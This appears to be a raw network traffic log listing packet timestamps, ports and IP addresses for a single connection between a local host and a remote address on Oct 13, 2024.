Oct 13, 2024 01:40:44.848692894 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.848710060 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.848736048 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.848917961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.848947048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.848994970 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849005938 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849023104 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849049091 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849055052 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849083900 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849087000 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849107981 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849134922 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849148035 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849174976 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849200964 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849226952 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849354982 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849422932 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849502087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849529982 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849567890 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849581003 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849606991 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849608898 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849662066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849672079 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849689960 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849709034 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849740028 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849744081 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849769115 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849796057 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849817038 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849817991 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849847078 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849873066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849879980 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849900961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.849916935 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.849950075 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.850894928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.850960016 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.851031065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.851063013 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.851092100 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.851111889 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.851113081 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.851142883 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.851171017 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.851171017 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.851190090 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.851221085 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.851249933 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.851313114 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.852423906 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.852452993 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.852483034 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.852485895 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.852509975 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.852530956 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.852555990 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.852583885 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.852612972 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.852632046 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.852648020 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.852718115 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853091002 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.853142023 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.853147030 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853171110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.853197098 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853224039 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853291988 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.853353977 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853517056 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.853575945 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853607893 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.853636980 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.853663921 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853665113 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.853684902 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853701115 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.853720903 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853753090 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.853976965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854032040 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854176998 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854206085 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854232073 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854253054 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854257107 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854286909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854312897 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854317904 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854341030 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854346037 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854365110 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854373932 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854387045 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854423046 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854751110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854801893 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854809046 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854850054 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854856968 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854880095 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854927063 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.854962111 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.854990005 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855016947 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855016947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855038881 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855067015 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855074883 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855098009 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855123043 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855148077 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855149984 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855179071 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855206966 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855210066 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855230093 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855240107 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855252981 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855269909 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855298042 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.855304956 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855325937 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855348110 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.855972052 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.856034040 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.856110096 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.856137991 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.856173992 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.856187105 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.856209040 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.856220961 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.856249094 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.856271029 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.856271982 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.856302023 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.856328964 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.856333017 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.856354952 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.856380939 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.857295036 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.857355118 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.857444048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.857497931 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.857526064 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.857538939 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.857580900 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.857700109 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.857713938 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.857764006 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.857938051 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.857995033 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.858095884 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858109951 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858117104 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858174086 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.858206034 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858268976 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.858447075 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858501911 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.858555079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858567953 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858604908 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.858608007 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858623028 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858627081 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.858652115 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.858684063 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.858860016 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.858911037 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.859164953 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.859225035 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.859281063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.859294891 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.859307051 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.859334946 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.859338045 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.859349012 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.859361887 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.859364986 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.859375954 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.859380960 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.859404087 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.859445095 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.859656096 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.859714985 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860080004 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860142946 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860186100 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860199928 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860215902 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860244036 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860275984 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860299110 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860315084 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860359907 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860363960 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860378981 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860405922 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860421896 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860431910 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860445976 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860445023 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860460043 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860483885 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860485077 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860497952 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860508919 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860511065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.860539913 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.860560894 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.861134052 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.861192942 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.861217022 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.861231089 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.861244917 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.861274958 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.861306906 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.861319065 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.861332893 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.861355066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.861367941 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.861370087 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.861381054 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.861398935 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.861423969 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.862137079 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.862303972 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.862368107 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.862420082 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.862432957 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.862484932 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.862565041 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.862633944 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.862647057 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.862693071 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.862827063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.862886906 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.862937927 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.862989902 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.863024950 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.863049984 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.863105059 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.863149881 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.863260984 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.863313913 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.863367081 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.863424063 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.863485098 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.863624096 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.863636971 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.863650084 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.863692999 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.863759995 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864002943 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864067078 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.864183903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864203930 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864228964 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864240885 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864260912 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.864264965 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864279032 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864298105 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.864334106 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.864361048 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864505053 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.864559889 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865000010 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865082026 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865089893 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865097046 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865133047 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865133047 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865171909 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865335941 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865351915 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865377903 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865391016 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865392923 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865442991 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865449905 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865464926 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865503073 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865535021 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865576982 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865591049 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865641117 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865669012 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865681887 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865695953 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865709066 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865724087 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.865725040 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.865752935 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.866034031 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866087914 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.866203070 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866219044 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866241932 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866255999 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866255999 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.866276979 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866287947 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.866302013 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866311073 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.866314888 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866332054 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.866352081 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.866370916 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.866465092 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866478920 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.866517067 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.866555929 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.867193937 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.867249012 CEST	49962	15666	192.168.2.5	79.137.202.152
Oct 13, 2024 01:40:44.867300987 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.867330074 CEST	15666	49962	79.137.202.152	192.168.2.5
Oct 13, 2024 01:40:44.867346048 CEST	15666	49962	79.137.202.152	192.168.2.5
